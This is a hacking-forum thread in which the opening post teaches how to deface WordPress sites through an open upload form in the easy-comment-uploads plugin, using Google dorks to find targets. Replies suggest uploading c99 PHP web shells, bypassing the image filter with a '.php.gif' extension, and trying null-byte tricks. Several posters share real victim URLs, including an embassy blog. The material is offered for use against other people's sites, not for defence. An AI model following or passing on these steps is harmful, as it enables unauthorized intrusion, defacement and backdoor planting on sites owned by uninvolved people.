[Isaac Newton]

Some of you might already know this, here's it for those who don't.

What this does-- Upload your deface on a vulnerable WP site.

Things you need--

1. Internet.
2. A browser.
3. Your deface.

Step 1

We gonna use a google dork for this.

Use any of the below (Search in google)-

Code

inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php

Code

Index of /wp-content/plugins/easy-comment-uploads

Now we've got many sites. Remember this won't work on all.

Step 2

Open a site and put this code-

Code

site.com/wp-content/plugins/easy-comment-uploads/upload-form.php

Here site.com is the website we've opened.

Step 3

Once done the above, you'll get an upload option.
Use it to upload your file (deface).

Step 4

You can see your deface at-

Code

site.com/wp-content/uploads/2012/03/yourfilehere

Replace "yourfilehere" with your file name.

Example--http://pickoflitter.com/wp-content/uploa...3/nwtn.jpg

[Cyba]

Very nice tutorial, keep it up my friend! ;)

[Mr Storm]

Nice tutorial! I didn't know this google dork.

Thank you!

[niian]

Sneaky :), took me a while to realize the point

[Yomama]

I am able to find the website, but cannot get to the upload form. Please help me OP.

Look, here is the site:

http://www.icademic.org/results/site.com...5.com/!tim

[Vlad1k]

Can you upload shells like .PHP with this exploit? Thanks. :)

[Anubis]

I am able to find the website, but cannot get to the upload form. Please help me OP.

Look, here is the site:

http://www.icademic.org/results/site.com...5.com/!tim

That is not a wordpress website -.-''
Those are search results.

---

Can you upload shells like .PHP with this exploit? Thanks. :)

Here are the shells.
Guys usually use c99.

If you get an error. Try changing the extension to gif.
For example. c99.php to c99.php.gif and than try to upload again.

[✝ℌε ℜℯα℘ℯℛ]

Great tutorial, thanks. Its very useful :D

[Mario]

This is not defacing lol..? Its just uploading a deface page

[hackerz1988]

nice tutorial ..but how to delete uploaded pic??

---

working perfectly fine for me..thnks buddy

[Isaac Newton]

I am able to find the website, but cannot get to the upload form. Please help me OP.

Look, here is the site:

http://www.icademic.org/results/site.com...5.com/!tim

It won't work for all sites as I said. You've to find the correct one which has an upload button on the stated page.

[Sw1x]

Thanks for this, very useful. :) I like this.

[‌‌‌ ‌]

I can't upload shells, as I get the "Sorry, you can only upload images."

I tried using nullbytes %00.jpg, doesn't work.

[Malboronaldo]

very interreting ! testing now ;) thank for that...

[YeOldBlueBird]

http://blogs.ottawa.usembassy.gov/cultur...d-form.php

Am I doing it right?